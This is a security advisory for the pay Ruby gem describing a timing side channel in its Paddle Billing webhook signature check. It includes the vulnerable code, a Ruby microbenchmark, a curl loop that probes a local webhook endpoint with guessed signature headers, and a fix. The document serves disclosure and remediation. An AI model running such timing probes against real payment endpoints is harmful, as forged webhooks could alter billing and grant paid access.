GHSA-mjgf-xj26-9qf9

Suggest an improvement
Source
https://github.com/advisories/GHSA-mjgf-xj26-9qf9
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mjgf-xj26-9qf9/GHSA-mjgf-xj26-9qf9.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-mjgf-xj26-9qf9
Published
2026-07-01T18:57:02Z
Modified
2026-07-01T19:15:20.622345459Z
Severity
  • 7.4 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier
Details

Summary

Pay::Webhooks::PaddleBillingController#valid_signature? (app/controllers/pay/webhooks/paddle_billing_controller.rb) verifies the Paddle Billing webhook signature by computing OpenSSL::HMAC.hexdigest(...) and comparing it to the attacker-supplied header value using Ruby's String#==. Ruby's == is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (OpenSSL.fixed_length_secure_compare / ActiveSupport::SecurityUtils.secure_compare).

Impact

  • CWE-208 — Observable Timing Discrepancy on the webhook signature verifier.
  • An attacker who can deliver requests to the /pay/webhooks/paddle_billing mount point can probe the verifier with guessed Paddle-Signature header values. Because String#== short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.
  • A signature recovered through the oracle lets the attacker deliver forged Paddle Billing webhook events (e.g. subscription.created / transaction.completed) against the host application. Pay's webhook processor enqueues a Pay::Webhooks::ProcessJob for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.
  • The endpoint is internet-reachable by definition (Paddle must POST events to it).

Affected versions

pay (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).

Vulnerable code (file:line)

app/controllers/pay/webhooks/paddle_billing_controller.rb:

24:      def valid_signature?(paddle_signature)
25:        return false if paddle_signature.blank?
26:
27:        ts_part, h1_part = paddle_signature.split(";")
28:        _, ts = ts_part.split("=")
29:        _, h1 = h1_part.split("=")
30:
31:        signed_payload = "#{ts}:#{request.raw_post}"
32:
33:        key = Pay::PaddleBilling.signing_secret
34:        data = signed_payload
35:        digest = OpenSSL::Digest.new("sha256")
36:
37:        hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
38:        hmac == h1                          # <-- non-constant-time '=='
39:      end

hmac is the 64-character hex-encoded SHA-256 HMAC of "<ts>:<raw_post>" under the application's configured Paddle Billing signing secret. The comparison with h1 (the attacker-supplied h1= token from the Paddle-Signature header) uses Ruby's native String#==, which is implemented in MRI as rb_str_equal and returns immediately on the first byte mismatch.

How an attacker reaches this code

  1. Any Pay-using Rails application mounting Pay::Engine exposes POST /pay/webhooks/paddle_billing to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in config/routes.rb when paddle_billing is enabled.
  2. The controller's before_action :verify_signature invokes valid_signature? on every inbound request.
  3. An attacker repeatedly POSTs forged webhook payloads with Paddle-Signature: ts=<now>;h1=<guess> headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of <guess> matches the real hmac.
  4. A signature recovered through the oracle lets the attacker forge arbitrary Paddle Billing webhook deliveries.

Proof of concept (microbenchmark)

Local Ruby microbenchmark isolating the verifier comparison path:

require 'openssl'
require 'benchmark'
require 'securerandom'

key = SecureRandom.hex(32)
payload = '1730000000:{"event_type":"transaction.completed"}'
real_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)
puts "real_hmac=#{real_hmac}"

def verify(real, guess)
  real == guess     # mirrors paddle_billing_controller.rb:38
end

guesses = {
  'all-wrong'    => ('0' * real_hmac.length),
  'match-1byte'  => real_hmac[0..0]  + '0' * (real_hmac.length - 1),
  'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),
  'match-63byte' => real_hmac[0..62] + '0',
  'exact-match'  => real_hmac.dup,
}
iters = 10_000_000
3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } }  # warmup
guesses.each do |label, g|
  t = Benchmark.realtime { iters.times { real_hmac == g } }
  puts "#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}"
end

This isolates the same String#== path used by valid_signature?. The static defect is verifiable by bundle show pay and reading line 38 of the controller.

End-to-end reproduction against gem install pay --version 11.6.1

Minimal Rails 8 app mounting Pay::Engine with paddle_billing enabled:

gem install rails -v 8.0.2
rails new payapp --skip-test --skip-bundle
cd payapp
echo "gem 'pay', '11.6.1'" >> Gemfile
echo "gem 'paddle', '~> 2.0'" >> Gemfile
bundle install
bin/rails g pay:install
# config/initializers/pay.rb adds Pay.setup, paddle_billing config
# config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator

bin/rails server &

# attacker probes the webhook endpoint
WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Try guesses with different prefix-match counts; response-time delta is the oracle
for guess in 0000000000000000000000000000000000000000000000000000000000000000 \
             a000000000000000000000000000000000000000000000000000000000000000 ; do
  for _ in 1 2 3; do
    curl -s -w '%{time_total}\n' -o /dev/null \
      -X POST -H "Paddle-Signature: ts=$TS;h1=$guess" \
      -H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK"
  done
done

The static defect is verifiable by:

$ bundle show pay
.../gems/pay-11.6.1
$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb
        hmac == h1

After the fix is applied, the verifier uses ActiveSupport::SecurityUtils.secure_compare, which compares all bytes regardless of mismatch position, and the timing oracle closes.

Suggested fix

Replace == with ActiveSupport::SecurityUtils.secure_compare (Pay is a Rails engine, so ActiveSupport is always available).

       def valid_signature?(paddle_signature)
         return false if paddle_signature.blank?

         ts_part, h1_part = paddle_signature.split(";")
         _, ts = ts_part.split("=")
         _, h1 = h1_part.split("=")

         signed_payload = "#{ts}:#{request.raw_post}"

         key = Pay::PaddleBilling.signing_secret
         data = signed_payload
         digest = OpenSSL::Digest.new("sha256")

         hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
-        hmac == h1
+        return false if h1.nil? || hmac.bytesize != h1.bytesize
+        ActiveSupport::SecurityUtils.secure_compare(hmac, h1)
       end

The bytesize-equality guard ensures secure_compare does not return early on a length mismatch (it falls back to == if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.

Credit

Reported by tonghuaroot (https://github.com/tonghuaroot).

Database specific
{
    "github_reviewed": true,
    "cwe_ids": [
        "CWE-208"
    ],
    "severity": "HIGH",
    "github_reviewed_at": "2026-07-01T18:57:02Z",
    "nvd_published_at": null
}
References

Affected packages

RubyGems / pay

Package

Name
pay
Purl
pkg:gem/pay

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
11.6.1

Affected versions

0.*
0.0.0
0.0.2
1.*
1.0.0.beta2
1.0.0.beta3
1.0.0.beta4
1.0.0.beta5
1.0.0.rc1
1.0.0.rc2
1.0.0.rc3
1.0.0
1.0.1
1.0.2
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.1.0
2.1.1
2.1.2
2.1.3
2.2.0
2.2.1
2.2.2
2.3.0
2.3.1
2.4.0
2.4.2
2.4.3
2.4.4
2.5.0
2.6.0
2.6.1
2.6.2
2.6.3
2.6.4
2.6.5
2.6.6
2.6.7
2.6.8
2.6.9
2.6.10
2.6.11
2.7.0
2.7.1
2.7.2
3.*
3.0.0
3.0.1
3.0.2
3.0.4
3.0.5
3.0.6
3.0.7
3.0.8
3.0.9
3.0.10
3.0.11
3.0.12
3.0.13
3.0.14
3.0.15
3.0.16
3.0.17
3.0.18
3.0.19
3.0.20
3.0.21
3.0.22
3.0.23
3.0.24
4.*
4.0.0
4.0.1
4.0.2
4.0.4
4.1.0
4.1.1
4.2.0
4.2.1
5.*
5.0.0
5.0.1
5.0.2
5.0.3
5.0.4
6.*
6.0.0
6.0.1
6.0.2
6.0.3
6.1.0
6.1.1
6.1.2
6.2.0
6.2.1
6.2.2
6.2.3
6.2.4
6.3.0
6.3.1
6.3.2
6.3.3
6.3.4
6.4.0
6.5.0
6.6.0
6.6.1
6.7.0
6.7.1
6.7.2
6.8.0
6.8.1
7.*
7.0.0
7.1.0
7.1.1
7.2.0
7.2.1
7.3.0
8.*
8.0.0
8.1.0
8.1.1
8.1.2
8.1.3
8.2.0
8.2.1
8.2.2
8.3.0
9.*
9.0.0
9.0.1
10.*
10.0.0
10.0.1
10.0.2
10.0.3
10.0.4
10.1.0
10.1.1
10.1.2
10.1.3
10.1.4
10.1.5
11.*
11.0.0
11.0.1
11.1.0
11.1.1
11.1.2
11.1.3
11.2.0
11.2.1
11.2.2
11.2.3
11.3.0
11.3.1
11.4.0
11.4.1
11.4.2
11.4.3
11.5.0
11.6.0
11.6.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-mjgf-xj26-9qf9/GHSA-mjgf-xj26-9qf9.json"